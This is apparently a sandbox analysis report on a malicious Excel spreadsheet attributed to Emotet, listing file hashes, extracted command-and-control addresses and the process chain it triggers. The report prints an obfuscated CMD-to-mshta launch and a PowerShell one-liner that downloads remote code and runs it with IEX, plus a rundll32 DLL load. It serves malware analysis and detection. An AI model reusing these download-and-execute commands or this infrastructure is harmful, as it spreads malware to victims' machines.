Analysis
-
max time kernel
59s -
max time network
32s -
platform
windows10_x64 -
resource
win10-en-20211208 -
submitted
28-01-2022 02:17
Behavioral task
behavioral1
Sample
2022-1-28-2c3f20f85f0deb5c757099154b411f05.xls
Resource
win7-en-20211208
General
-
Target
2022-1-28-2c3f20f85f0deb5c757099154b411f05.xls
-
Size
46KB
-
MD5
2c3f20f85f0deb5c757099154b411f05
-
SHA1
6cc82d236555536f649f70a0a20e8a0330cd7bc8
-
SHA256
48d2b8e9f891fe7810718c9c7a877e7fc8999fa7003b61b47e0319315a9bde06
-
SHA512
b8538c87b9bec2386e2c3c2aac336d7207694c7d5c6832cce3ed32dd09e242f3a59bb7547547c2822d7cc60abefb2eff81550ae04cf24d0167f34957863af748
Malware Config
Extracted
http://91.240.118.168/vvv/ppp/fe.html
Extracted
http://91.240.118.168/vvv/ppp/fe.png
Extracted
emotet
Epoch4
51.15.4.22:443
173.214.173.220:8080
212.237.5.209:443
192.254.71.210:443
216.158.226.206:443
162.243.175.63:443
212.24.98.99:8080
58.227.42.236:80
45.118.115.99:8080
104.251.214.46:8080
185.157.82.209:8080
46.55.222.11:443
188.40.137.206:8080
81.0.236.90:443
103.75.201.2:443
129.232.188.93:443
195.154.133.20:443
159.8.59.82:8080
79.172.212.216:8080
138.185.72.26:8080
200.17.134.35:7080
185.157.82.211:8080
209.59.138.75:7080
178.63.25.185:443
45.176.232.124:443
45.118.135.203:7080
164.68.99.3:8080
203.114.109.124:443
212.237.17.99:8080
50.116.54.215:443
131.100.24.231:80
212.237.56.116:7080
45.142.114.231:8080
162.214.50.39:7080
51.38.71.0:443
104.168.155.129:8080
107.182.225.142:8080
217.182.143.207:443
158.69.222.101:443
176.104.106.96:8080
207.38.84.195:8080
41.76.108.46:8080
110.232.117.186:8080
178.79.147.66:8080
173.212.193.249:8080
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
CMD.EXEdescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 1716 2476 CMD.EXE EXCEL.EXE -
Blocklisted process makes network request 3 IoCs
Processes:
mshta.exepowershell.exeflow pid process 35 1228 mshta.exe 41 1544 powershell.exe 43 1544 powershell.exe -
Downloads MZ/PE file
-
Loads dropped DLL 2 IoCs
Processes:
rundll32.exerundll32.exepid process 3168 rundll32.exe 1712 rundll32.exe -
Drops file in System32 directory 1 IoCs
Processes:
rundll32.exedescription ioc process File opened for modification C:\Windows\SysWOW64\Yzsqztamsqkyk\yusdedp.nut rundll32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 4088 1228 WerFault.exe mshta.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 2476 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 17 IoCs
Processes:
powershell.exeWerFault.exepid process 1544 powershell.exe 1544 powershell.exe 4088 WerFault.exe 4088 WerFault.exe 4088 WerFault.exe 4088 WerFault.exe 4088 WerFault.exe 4088 WerFault.exe 4088 WerFault.exe 4088 WerFault.exe 4088 WerFault.exe 4088 WerFault.exe 4088 WerFault.exe 4088 WerFault.exe 4088 WerFault.exe 4088 WerFault.exe 1544 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exeWerFault.exedescription pid process Token: SeDebugPrivilege 1544 powershell.exe Token: SeDebugPrivilege 4088 WerFault.exe -
Suspicious use of SetWindowsHookEx 12 IoCs
Processes:
EXCEL.EXEpid process 2476 EXCEL.EXE 2476 EXCEL.EXE 2476 EXCEL.EXE 2476 EXCEL.EXE 2476 EXCEL.EXE 2476 EXCEL.EXE 2476 EXCEL.EXE 2476 EXCEL.EXE 2476 EXCEL.EXE 2476 EXCEL.EXE 2476 EXCEL.EXE 2476 EXCEL.EXE -
Suspicious use of WriteProcessMemory 14 IoCs
Processes:
EXCEL.EXECMD.EXEmshta.exepowershell.execmd.exerundll32.exedescription pid process target process PID 2476 wrote to memory of 1716 2476 EXCEL.EXE CMD.EXE PID 2476 wrote to memory of 1716 2476 EXCEL.EXE CMD.EXE PID 1716 wrote to memory of 1228 1716 CMD.EXE mshta.exe PID 1716 wrote to memory of 1228 1716 CMD.EXE mshta.exe PID 1228 wrote to memory of 1544 1228 mshta.exe powershell.exe PID 1228 wrote to memory of 1544 1228 mshta.exe powershell.exe PID 1544 wrote to memory of 2672 1544 powershell.exe cmd.exe PID 1544 wrote to memory of 2672 1544 powershell.exe cmd.exe PID 2672 wrote to memory of 3168 2672 cmd.exe rundll32.exe PID 2672 wrote to memory of 3168 2672 cmd.exe rundll32.exe PID 2672 wrote to memory of 3168 2672 cmd.exe rundll32.exe PID 3168 wrote to memory of 1712 3168 rundll32.exe rundll32.exe PID 3168 wrote to memory of 1712 3168 rundll32.exe rundll32.exe PID 3168 wrote to memory of 1712 3168 rundll32.exe rundll32.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\2022-1-28-2c3f20f85f0deb5c757099154b411f05.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\CMD.EXECMD.EXE /c ms^hta http://91.2^40.118.1^68/vvv/ppp/f^e.ht^m^l2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\mshta.exemshta http://91.240.118.168/vvv/ppp/fe.html3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/vvv/ppp/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWow64\rundll32.exeC:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer7⤵
- Loads dropped DLL
- Drops file in System32 directory
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 1228 -s 16284⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\ProgramData\QWER.dllMD5
680e278a0ce15adb1f86895622735c6e
SHA1319d16f64ab5b9a15a9473b2437dcd81643bd2b8
SHA2560e9f1ff1c80bd72100bde95b3215c42b4c71d988468f25696bbf5a0cb1606da1
SHA5123e80ee08abcd85a9e1cd31ba59bd418915147dd07c667a526fbb81cb7344a0034ad0a46cca41f8ac251d414d9e15843b87c8d874c331865733337162bd762352
-
\ProgramData\QWER.dllMD5
680e278a0ce15adb1f86895622735c6e
SHA1319d16f64ab5b9a15a9473b2437dcd81643bd2b8
SHA2560e9f1ff1c80bd72100bde95b3215c42b4c71d988468f25696bbf5a0cb1606da1
SHA5123e80ee08abcd85a9e1cd31ba59bd418915147dd07c667a526fbb81cb7344a0034ad0a46cca41f8ac251d414d9e15843b87c8d874c331865733337162bd762352
-
\ProgramData\QWER.dllMD5
680e278a0ce15adb1f86895622735c6e
SHA1319d16f64ab5b9a15a9473b2437dcd81643bd2b8
SHA2560e9f1ff1c80bd72100bde95b3215c42b4c71d988468f25696bbf5a0cb1606da1
SHA5123e80ee08abcd85a9e1cd31ba59bd418915147dd07c667a526fbb81cb7344a0034ad0a46cca41f8ac251d414d9e15843b87c8d874c331865733337162bd762352
-
memory/1544-309-0x000001DFE10A0000-0x000001DFE1116000-memory.dmpFilesize
472KB
-
memory/1544-326-0x000001DFC8810000-0x000001DFE09E0000-memory.dmpFilesize
385.8MB
-
memory/1544-319-0x000001DFC8810000-0x000001DFE09E0000-memory.dmpFilesize
385.8MB
-
memory/1544-314-0x000001DFC8810000-0x000001DFE09E0000-memory.dmpFilesize
385.8MB
-
memory/1544-279-0x000001DFE09E0000-0x000001DFE0A02000-memory.dmpFilesize
136KB
-
memory/1544-298-0x000001DFE0B90000-0x000001DFE0BCC000-memory.dmpFilesize
240KB
-
memory/1712-330-0x00000000042D0000-0x00000000042F5000-memory.dmpFilesize
148KB
-
memory/1712-332-0x00000000044C0000-0x00000000044E5000-memory.dmpFilesize
148KB
-
memory/1712-341-0x0000000004C00000-0x0000000004C25000-memory.dmpFilesize
148KB
-
memory/1712-339-0x0000000004BA0000-0x0000000004BC5000-memory.dmpFilesize
148KB
-
memory/1712-337-0x0000000004B40000-0x0000000004B65000-memory.dmpFilesize
148KB
-
memory/1712-335-0x00000000049D0000-0x00000000049F5000-memory.dmpFilesize
148KB
-
memory/2476-118-0x00007FF7E0830000-0x00007FF7E0840000-memory.dmpFilesize
64KB
-
memory/2476-116-0x00007FF7E0830000-0x00007FF7E0840000-memory.dmpFilesize
64KB
-
memory/2476-115-0x00007FF7E0830000-0x00007FF7E0840000-memory.dmpFilesize
64KB
-
memory/2476-117-0x00007FF7E0830000-0x00007FF7E0840000-memory.dmpFilesize
64KB
-
memory/2476-129-0x00007FF7DCCC0000-0x00007FF7DCCD0000-memory.dmpFilesize
64KB
-
memory/2476-119-0x00007FF7E0830000-0x00007FF7E0840000-memory.dmpFilesize
64KB
-
memory/2476-128-0x00007FF7DCCC0000-0x00007FF7DCCD0000-memory.dmpFilesize
64KB
-
memory/3168-328-0x0000000003510000-0x0000000003535000-memory.dmpFilesize
148KB
-
memory/3168-327-0x0000000003511000-0x0000000003532000-memory.dmpFilesize
132KB